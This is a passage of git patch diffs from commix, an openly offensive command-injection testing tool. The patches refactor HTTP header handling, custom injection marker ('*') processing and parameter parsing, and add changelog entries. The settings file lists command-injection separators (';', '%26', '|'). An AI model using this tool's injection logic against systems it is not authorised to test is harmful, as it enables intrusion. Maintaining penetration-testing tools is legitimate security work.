settings.RAW_HTTP_HEADERS # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. if menu.options.headers: menu.options.headers = checks.wildcard_character(menu.options.headers) extra_headers = menu.options.headers - else: + elif menu.options.header: menu.options.header = checks.wildcard_character(menu.options.header) extra_headers = menu.options.header extra_headers = extra_headers.replace(":",": ") - if ": //" in extra_headers: extra_headers = extra_headers.replace(": //" ,"://") if "\\n" in extra_headers: extra_headers = extra_headers.split("\\n") # Remove empty strings and "Content-Length" - extra_headers = [x for x in extra_headers if "Content-Length" not in x] + extra_headers = [x for x in extra_headers if settings.CONTENT_LENGTH not in x] else: tmp_extra_header = [] tmp_extra_header.append(extra_headers) @@ -379,8 +378,8 @@ def do_check(request): elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): if settings.CONTENT_TYPE not in str(extra_headers): request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) - if "Accept-Encoding" not in str(extra_headers): - request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) + if settings.ACCEPT_ENCODING not in str(extra_headers): + request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) for extra_header in extra_headers: try: @@ -391,12 +390,17 @@ def do_check(request): http_header_value = extra_header.split(':', 1)[1] http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. - if settings.CUSTOM_HEADER_INJECTION == False and http_header_name in settings.TEST_PARAMETER: - settings.CUSTOM_HEADER_INJECTION = True - settings.CUSTOM_HEADER_NAME = http_header_name - settings.CUSTOM_HEADER_VALUE = http_header_value - # Add HTTP Header name / value to the HTTP request - if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: + if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: + if not settings.CUSTOM_HEADER_INJECTION and (http_header_name in settings.TEST_PARAMETER) or (settings.WILDCARD_CHAR in http_header_value): + settings.CUSTOM_HEADER_CHECK = http_header_name + if len(http_header_name) != 0 and \ + http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ + http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: + settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) + http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.WILDCARD_CHAR,"") + request.add_header(http_header_name, http_header_value) + + if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE, settings.CUSTOM_HEADER_NAME]: request.add_header(http_header_name, http_header_value) except: pass diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 22c811c277..9c7ddd7496 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -47,16 +47,19 @@ def multi_params_get_value(parameter): value = ''.join(value) return value + if settings.USER_DEFINED_POST_DATA: + if settings.WILDCARD_CHAR in settings.USER_DEFINED_POST_DATA and not checks.process_non_custom(): + return False + if settings.INJECT_TAG in url: + settings.IGNORE_USER_DEFINED_POST_DATA = True + # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. url = checks.wildcard_character(url) - if settings.USER_DEFINED_POST_DATA and settings.INJECT_TAG in url: - settings.IGNORE_USER_DEFINED_POST_DATA = True - # Check for REST-ful URLs format. if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: - checks.check_injection_level() - if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ + if len(settings.TEST_PARAMETER) != 0 or \ + menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ menu.options.level == settings.COOKIE_INJECTION_LEVEL or \ settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: return False @@ -254,7 +257,6 @@ def json_format(parameter): parameter = json_format(parameter) _ = True - if isinstance(parameter, list): parameter = parameter[(len(parameter) - 1)] @@ -271,9 +273,7 @@ def json_format(parameter): return parameter # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. - parameter = checks.wildcard_character(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") - checks.check_injection_level() # Check if JSON Object. if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)): if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): @@ -506,6 +506,8 @@ def prefixes(payload, prefix): specify_referer_parameter(menu.options.referer) elif settings.HOST_INJECTION == True: specify_host_parameter(menu.options.host) + elif settings.CUSTOM_HEADER_INJECTION == True: + specify_host_parameter("") # Check if defined "--prefix" option. testable_value = settings.TESTABLE_VALUE @@ -633,7 +635,6 @@ def multi_params_get_value(parameter): Specify the cookie parameter(s). """ def specify_cookie_parameter(cookie): - # Specify the vulnerable cookie parameter if re.search(r"" + settings.COOKIE_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie): @@ -650,7 +651,6 @@ def specify_cookie_parameter(cookie): break else: inject_cookie = cookie - return inject_cookie """ @@ -658,7 +658,6 @@ def specify_cookie_parameter(cookie): """ def specify_user_agent_parameter(user_agent): settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG, "") - return user_agent """ @@ -666,7 +665,6 @@ def specify_user_agent_parameter(user_agent): """ def specify_referer_parameter(referer): settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG, "") - return referer """ @@ -674,7 +672,6 @@ def specify_referer_parameter(referer): """ def specify_host_parameter(host): settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG, "") - return host """ @@ -682,7 +679,6 @@ def specify_host_parameter(host): """ def specify_custom_header_parameter(header_name): header_name = settings.CUSTOM_HEADER_NAME - return header_name # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index a83072500e..4d53cef2a3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -704,10 +704,10 @@ def technology_detection(response): sys.stdout.flush() print(settings.SINGLE_WHITESPACE) try: - if len(response.info()['X-Powered-By']) != 0: + if len(response.info()[settings.X_POWERED_BY]) != 0: if settings.VERBOSITY_LEVEL != 0: debug_msg = "The target application is powered by " - debug_msg += response.info()['X-Powered-By'] + Style.RESET_ALL + "." + debug_msg += response.info()[settings.X_POWERED_BY] + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) except Exception as e: diff --git a/src/utils/settings.py b/src/utils/settings.py index e9ec72da22..dc242d51ab 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -697,6 +697,7 @@ class OS(object): # Cookie injection COOKIE_INJECTION = None +HTTP_HEADERS_INJECTION = None # User-Agent injection USER_AGENT_INJECTION = None @@ -708,6 +709,8 @@ class OS(object): # Custom HTTP Headers injection CUSTOM_HEADER_INJECTION = False +CUSTOM_HEADERS_NAMES = [] +CUSTOM_HEADER_CHECK = "" CUSTOM_HEADER_NAME = "" CUSTOM_HEADER_VALUE = "" @@ -888,7 +891,7 @@ class OS(object): "Gentoo", r"Mac[\-\_\ ]?OSX", r"Red[\-\_\ ]?Hat", - "Unix" + "Unix", ] # Extensions skipped by crawler From 542bf0365e204a56a205ddb6346767933019e409 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 19 Apr 2024 08:36:43 +0300 Subject: [PATCH 0425/1023] Updates, fixes and adjustments --- src/core/injections/controller/checks.py | 56 +++++------ src/core/injections/controller/controller.py | 8 +- src/core/injections/controller/parser.py | 2 +- src/core/main.py | 99 +++++++++++++------- src/core/requests/headers.py | 23 +++-- src/core/requests/parameters.py | 10 +- src/core/requests/requests.py | 1 + src/utils/settings.py | 6 +- 8 files changed, 121 insertions(+), 84 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9c570b33bb..346db0959a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -143,8 +143,11 @@ def check_custom_injection_marker(url, http_request_method): elif menu.options.host and settings.WILDCARD_CHAR in menu.options.host: settings.WILDCARD_CHAR_APPLIED = settings.HOST_INJECTION = True elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: - if settings.CUSTOM_HEADER_CHECK in settings.TEST_PARAMETER: - settings.WILDCARD_CHAR_APPLIED = settings.CUSTOM_HEADER_INJECTION = True + if settings.CUSTOM_HEADER_CHECK not in settings.TEST_PARAMETER: + settings.WILDCARD_CHAR_APPLIED = True + else: + settings.CUSTOM_HEADER_INJECTION = True + return False if settings.WILDCARD_CHAR_APPLIED: while True: @@ -154,7 +157,7 @@ def check_custom_injection_marker(url, http_request_method): if procced_option in settings.CHOICE_YES: return True elif procced_option in settings.CHOICE_NO: - settings.CUSTOM_HEADER_INJECTION = False + # settings.CUSTOM_HEADER_INJECTION = False return False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() @@ -1106,26 +1109,20 @@ def enable_all_enumeration_options(): menu.options.passwords = True """ -Do replacement with the 'INJECT_HERE' tag, -if the wildcard char is provided. +Do check for injection marker. """ def wildcard_character(data): if settings.WILDCARD_CHAR_APPLIED != None: - _ = "" + _ = [] for data in data.split("\\n"): - # Ignore the Accept HTTP Header - if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data : - if settings.WILDCARD_CHAR_APPLIED: - data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) - _ = _ + data + "\\n" - data = _.rstrip("\\n") - if data.count(settings.INJECT_TAG) > 1: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "You specified more than one custom injection markers ('" + settings.WILDCARD_CHAR + "'). " - err_msg += "Instead use the '-p' option to define them (i.e -p \"id1,id2\"). " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if not data.startswith(settings.ACCEPT) and settings.WILDCARD_CHAR in data: + if menu.options.test_parameter != None and settings.WILDCARD_CHAR_APPLIED == False: + data = data.replace(settings.WILDCARD_CHAR, "") + elif settings.WILDCARD_CHAR_APPLIED: + data = data.replace(settings.WILDCARD_CHAR, settings.ASTERISK_MARKER) + _.append(data) + data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") + data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) return data """ @@ -1208,17 +1205,17 @@ def testable_parameters(url, check_parameters, header_name): if http_header in non_exist_param: non_exist_param.remove(http_header) - if non_exist_param and _: + if settings.VERBOSITY_LEVEL != 0 and non_exist_param and _: non_exist_param_items = ", ".join(non_exist_param) - warn_msg = "Provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" - warn_msg += non_exist_param_items + "'" + (' are', ' is')[len(non_exist_param) == 1] - warn_msg += " not inside the " - if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and header_name != "": - warn_msg += settings.HTTP_HEADER.capitalize() + debug_msg = "Provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" + debug_msg += non_exist_param_items + "'" + (' are', ' is')[len(non_exist_param) == 1] + debug_msg += " not inside the " + if settings.COOKIE_INJECTION: + debug_msg += settings.COOKIE else: - warn_msg += check_http_method(url) - warn_msg += "." - print(settings.print_warning_msg(warn_msg)) + debug_msg += check_http_method(url) + debug_msg += "." + print(settings.print_debug_msg(debug_msg)) """ @@ -1701,9 +1698,6 @@ def json_data(data): """ def is_empty(multi_parameters, http_request_method): all_empty = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking for empty values in provided data." - print(settings.print_debug_msg(debug_msg)) empty_parameters = [] multi_params = [s for s in multi_parameters] if settings.IS_JSON: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 583cfee24f..aef80e6cee 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -115,9 +115,9 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): settings.CUSTOM_HEADER_NAME = check_parameter if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + request.add_unredirected_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) else: - request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_unredirected_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -177,9 +177,9 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): settings.CUSTOM_HEADER_NAME = check_parameter if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + request.add_unredirected_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) else: - request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_unredirected_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 542f30e1ba..8c4616839a 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -161,7 +161,7 @@ def invalid_data(request): match = match.replace("('", "") match = match.replace("')","\\n") # Ignore some header. - if "Content-Length" or "Accept-Encoding" in match: + if settings.CONTENT_LENGTH or settings.ACCEPT_ENCODING in match: extra_headers = extra_headers else: extra_headers = extra_headers + match diff --git a/src/core/main.py b/src/core/main.py index e15ba557c0..4b52e81ac6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -64,40 +64,70 @@ """ Define HTTP User-Agent header. """ -def user_agent_header(): - # Check if defined "--mobile" option. - if menu.options.mobile: - if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: - if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: - err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - menu.options.agent = checks.mobile_user_agents() - - # Check if defined "--random-agent" option. - if menu.options.random_agent: - if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: - if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: - err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: +def defined_http_headers(): + def extra_headers(): + if any((menu.options.header, menu.options.headers)): + settings.EXTRA_HTTP_HEADERS = True if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Fetching random HTTP User-Agent header. " - print(settings.print_debug_msg(debug_msg)) + debug_msg = "Setting extra HTTP headers." + print(settings.print_debug_msg(debug_msg)) + + def cookie(): + if menu.options.cookie and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP " + settings.COOKIE + " header." + print(settings.print_debug_msg(debug_msg)) + + def referer(): + if menu.options.referer and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP " + settings.REFERER + " header." + print(settings.print_debug_msg(debug_msg)) + + def host(): + if menu.options.host and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP " + settings.HOST + " header." + print(settings.print_debug_msg(debug_msg)) + + def user_agent(): + # Check if defined "--mobile" option. + if menu.options.mobile: + if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: + if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: + err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() else: - pass - try: - menu.options.agent = random.choice(settings.USER_AGENT_LIST) - info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." - print(settings.print_info_msg(info_msg)) - except: - print(settings.SINGLE_WHITESPACE) + menu.options.agent = checks.mobile_user_agents() + + # Check if defined "--random-agent" option. + if menu.options.random_agent: + if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: + if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: + err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Fetching random HTTP User-Agent header. " + print(settings.print_debug_msg(debug_msg)) + else: + pass + try: + menu.options.agent = random.choice(settings.USER_AGENT_LIST) + info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." + print(settings.print_info_msg(info_msg)) + except: + print(settings.SINGLE_WHITESPACE) + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP User-Agent header." + print(settings.print_debug_msg(debug_msg)) + + extra_headers() + cookie() + referer() + host() + user_agent() - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Setting the HTTP User-Agent header." - print(settings.print_debug_msg(debug_msg)) """ Examine the request @@ -163,8 +193,8 @@ def init_request(url, http_request_method): print(settings.print_debug_msg(debug_msg)) if menu.options.timeout: settings.TIMEOUT = menu.options.timeout - # Define HTTP User-Agent header - user_agent_header() + # Define HTTP headers + defined_http_headers() # Check the internet connection (--check-internet switch). if menu.options.check_internet: check_internet(url) @@ -183,6 +213,7 @@ def init_request(url, http_request_method): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) + settings.WILDCARD_CHAR_APPLIED = checks.check_custom_injection_marker(url, http_request_method) # Check connection(s) checks.check_connection(url) return request @@ -301,8 +332,6 @@ def main(filename, url, http_request_method): if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING: settings.WILDCARD_CHAR_APPLIED = False - settings.WILDCARD_CHAR_APPLIED = checks.check_custom_injection_marker(url, http_request_method) - # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 8bcbc2e5f5..09a1d86947 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -287,13 +287,16 @@ def do_check(request): if not checks.get_header(request.headers, settings.ACCEPT): request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) + if not checks.get_header(request.headers, settings.CONTENT_TYPE): + request.add_unredirected_header(settings.CONTENT_TYPE, settings.DEFAULT_HTTP_CONTENT_TYPE_VALUE) + # The MIME media type for JSON. if menu.options.data and not (menu.options.requestfile or menu.options.logfile): if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): - request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): - request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) # Default value for "Accept-Encoding" HTTP header if not (menu.options.requestfile or menu.options.logfile): @@ -343,16 +346,14 @@ def do_check(request): pass # Check if defined any extra HTTP headers. - if menu.options.headers or menu.options.header or settings.RAW_HTTP_HEADERS: + if settings.EXTRA_HTTP_HEADERS or settings.RAW_HTTP_HEADERS: if settings.RAW_HTTP_HEADERS: menu.options.headers = settings.RAW_HTTP_HEADERS # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. if menu.options.headers: - menu.options.headers = checks.wildcard_character(menu.options.headers) - extra_headers = menu.options.headers + extra_headers = checks.wildcard_character(menu.options.headers) elif menu.options.header: - menu.options.header = checks.wildcard_character(menu.options.header) - extra_headers = menu.options.header + extra_headers = checks.wildcard_character(menu.options.header) extra_headers = extra_headers.replace(":",": ") if ": //" in extra_headers: @@ -367,8 +368,10 @@ def do_check(request): tmp_extra_header.append(extra_headers) extra_headers = tmp_extra_header - # Remove empty strings - extra_headers = [x for x in extra_headers if x] + # Remove empty strings and/or duplicates + _ = [x for x in extra_headers if x] + extra_headers = (list(dict.fromkeys(_))) + if menu.options.data: # The MIME media type for JSON. if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ @@ -391,7 +394,7 @@ def do_check(request): http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: - if not settings.CUSTOM_HEADER_INJECTION and (http_header_name in settings.TEST_PARAMETER) or (settings.WILDCARD_CHAR in http_header_value): + if not settings.CUSTOM_HEADER_INJECTION and http_header_name in settings.TEST_PARAMETER or settings.INJECT_TAG in http_header_value: settings.CUSTOM_HEADER_CHECK = http_header_name if len(http_header_name) != 0 and \ http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 9c7ddd7496..3ef25601c8 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -188,6 +188,7 @@ def vuln_GET_param(url): vuln_parameter = pairs[param].split("=")[0] if settings.WILDCARD_CHAR_APPLIED: try: + settings.TEST_PARAMETER = vuln_parameter settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass @@ -289,7 +290,7 @@ def json_format(parameter): settings.IS_XML = checks.process_data(data_type, http_request_method) settings.PARAMETER_DELIMITER = "\n" - elif settings.TEST_PARAMETER and not any(ext in parameter for ext in settings.TEST_PARAMETER): + elif settings.TEST_PARAMETER and not any(ext in parameter for ext in settings.TEST_PARAMETER) and not settings.INJECT_TAG in parameter: settings.IGNORE_USER_DEFINED_POST_DATA = True if settings.IGNORE_USER_DEFINED_POST_DATA: @@ -449,7 +450,9 @@ def vuln_POST_param(parameter, url): parameters = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0].replace(",\"", settings.RANDOM_TAG + "\"")) parameters = ''.join(parameters.split(", ")[-1:]).strip() parameters = ''.join(parameters.split(":")[0]).strip() - vuln_parameter = ''.join(parameters.split(settings.RANDOM_TAG)[:1]) + settings.TESTABLE_VALUE = vuln_parameter = ''.join(parameters.split(settings.RANDOM_TAG)[:1]) + if settings.WILDCARD_CHAR_APPLIED: + settings.TEST_PARAMETER = vuln_parameter # XML data format. elif settings.IS_XML: @@ -464,6 +467,7 @@ def vuln_POST_param(parameter, url): vuln_parameter = ''.join(_.groups()[0]) if settings.WILDCARD_CHAR_APPLIED: try: + settings.TEST_PARAMETER = vuln_parameter settings.POST_WILDCARD_CHAR = result.split(settings.INJECT_TAG)[1] except Exception: pass @@ -479,6 +483,7 @@ def vuln_POST_param(parameter, url): vuln_parameter = pairs[param].split("=")[0] if settings.WILDCARD_CHAR_APPLIED: try: + settings.TEST_PARAMETER = vuln_parameter settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass @@ -644,6 +649,7 @@ def specify_cookie_parameter(cookie): inject_cookie = pairs[param].split("=")[0] if settings.WILDCARD_CHAR_APPLIED: try: + settings.TEST_PARAMETER = inject_cookie settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 4d53cef2a3..ff15fce45c 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -675,6 +675,7 @@ def encoding_detection(response): charset_detected = True # Check the identifyied charset if charset_detected : + settings.DEFAULT_PAGE_ENCODING = charset if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: diff --git a/src/utils/settings.py b/src/utils/settings.py index dc242d51ab..cae508cda0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -371,6 +371,7 @@ class HEURISTIC_TEST(object): # The wildcard character WILDCARD_CHAR = "*" +ASTERISK_MARKER = "__ASTERISK__" WILDCARD_CHAR_APPLIED = False POST_WILDCARD_CHAR = "" @@ -463,6 +464,8 @@ class OS(object): # The HTTP header name. HTTP_HEADER = "" +EXTRA_HTTP_HEADERS = False + # The command injection separators. SEPARATORS = [] DEFAULT_SEPARATORS = ["", ";", "%26", "|"] @@ -859,6 +862,7 @@ class OS(object): HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate" HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json" HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "text/xml" +DEFAULT_HTTP_CONTENT_TYPE_VALUE = "application/x-www-form-urlencoded" # Default server banner SERVER_BANNER = "" From d55ab3a4b7f95370622f1953916cf6a0c0ac1adf Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 22 Apr 2024 09:04:08 +0300 Subject: [PATCH 0426/1023] Updates, improvements and potential fix for https://github.com/commixproject/commix/issues/906 --- doc/CHANGELOG.md | 6 +- src/core/injections/controller/checks.py | 74 ++++++++++---------- src/core/injections/controller/controller.py | 16 ++--- src/core/main.py | 8 +-- src/core/requests/headers.py | 8 +-- src/core/requests/parameters.py | 38 +++++----- src/utils/settings.py | 11 ++- 7 files changed, 80 insertions(+), 81 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 719f9a38af..eb39ffc3a5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,7 +1,7 @@ ## Version 4.0 (TBA) * Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing. * Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option). -* Revised: Improvement regarding processing / ignoring injection marker (i.e. asterisk `*`). +* Revised: Improvement regarding processing / ignoring custom injection marker (i.e. asterisk `*`). * Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`). * Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Improvement regarding parsing JSON nested objects. @@ -160,7 +160,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor improvement regarding verbose mode (i.e. debug messages). * Fixed: Bug-fix regarding Basic HTTP authentication. * Revised: Minor improvement regarding redirection mechanism. -* Fixed: Bug-fix regarding defining wildcard character `*` in nested JSON objects. +* Fixed: Bug-fix regarding defining custom injection marker (i.e. asterisk `*`) in nested JSON objects. * Revised: Minor improvement regarding Flatten_json (third party) module. * Revised: Minor improvement regarding parsing nested JSON objects. * Added: New tamper script "doublequotes.py" that adds double-quotes (`""`) between the characters of the generated payloads (for \*nix targets). @@ -509,7 +509,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 0.8b (2016-05-06) * Fixed: The `--file-read` option to ignore the carriage return (`\r`) character in a text file. * Added: The ability to check for empty value(s) in the defined GET, POST, Cookie data and skip. -* Replaced: The `INJECT_HERE` tag has been replaced with the asterisk (`*`) wildcard character. +* Replaced: The `INJECT_HERE` tag has been replaced with the custom injection marker (i.e. asterisk `*`). * Added: New option `--level` (1-3) that specifies level of tests to perform. * Added: New option `-p` that specifies a comma-separated list of GET and POST parameter. * Added: The ability to check every parameter in the provided cookie data. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 346db0959a..8413f5512f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -101,7 +101,7 @@ def quoted_value(value): Check for non custom parameters. """ def process_non_custom(): - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: while True: message = "Other non-custom parameters found." message += " Do you want to process them too? [Y/n] > " @@ -121,37 +121,54 @@ def process_non_custom(): return True """ -Check for custom injection marker ('*'). +Process data with custom 